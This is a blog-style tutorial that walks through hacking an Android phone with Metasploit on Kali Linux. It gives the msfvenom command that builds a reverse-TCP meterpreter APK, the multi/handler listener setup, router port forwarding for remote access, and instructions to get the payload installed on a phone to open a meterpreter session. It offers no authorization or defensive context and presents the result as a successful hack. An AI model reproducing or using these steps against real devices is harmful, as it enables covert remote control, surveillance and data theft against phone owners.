How to hack “ANDROID PHONE” using Metasploit in kali Linux ..!!
Well for those, who have got no idea about kali Linux , let me have one:
Kali
Linux: It’s a special type of Operating system for Pen tester and
Lets say in a simple term, it’s a Home ground for “Hackers”.
Now, Lets get back to hacking a android phone..
So, lets kick with kali Linux,
- Start your OS “kali Linux”
- Open a terminal or press crt+t.
- Now type a command in it , msfvenom android/meterpreter/reverse_tcp LHOST=(your ip address) LPORT= 4444 R > root/Desktop/payload.apk
- Wait for a bit a server will be created on your desktop name as “PAYLOAD”. You can name anything you want.
- Now run metasploit by typing “msfconsole”
- After metasploit shows type another command that is
- Use exploit /multi/handler press Enter
- Show options press Enter
- Set payload android/meterpreter/reverse_tcp press Enter
- Set LHOST (your ip address) press Enter
- SET LPORT 4444 press Enter
- Exploit press Enter
- Keep it open
But before installing the payload.apk , go to your Kali Linux, open up your browser and type your ip address in the url to login your router admin panel.
We need to this because to hack a android OS in WAN we need to “PORT FORWARD” our PORT 4444 through your router . And yes we need a Static ip for this to work perfect.
TO find ip add just go to your terminal and type ifconfig
Now after doing this all thing in a perfect way
- Install the payload.apk in your android phone
- Now on the previous terminal the one which we left open
- We will find our success called “METERPRETER”
- This “METERPRETER” tells us we have successfully hacked the android phone.
- That’s it.
To work this complete hack in a LAN as a android os in vmware or something we do not need to port forward our port 4444.
0 comments:
Post a Comment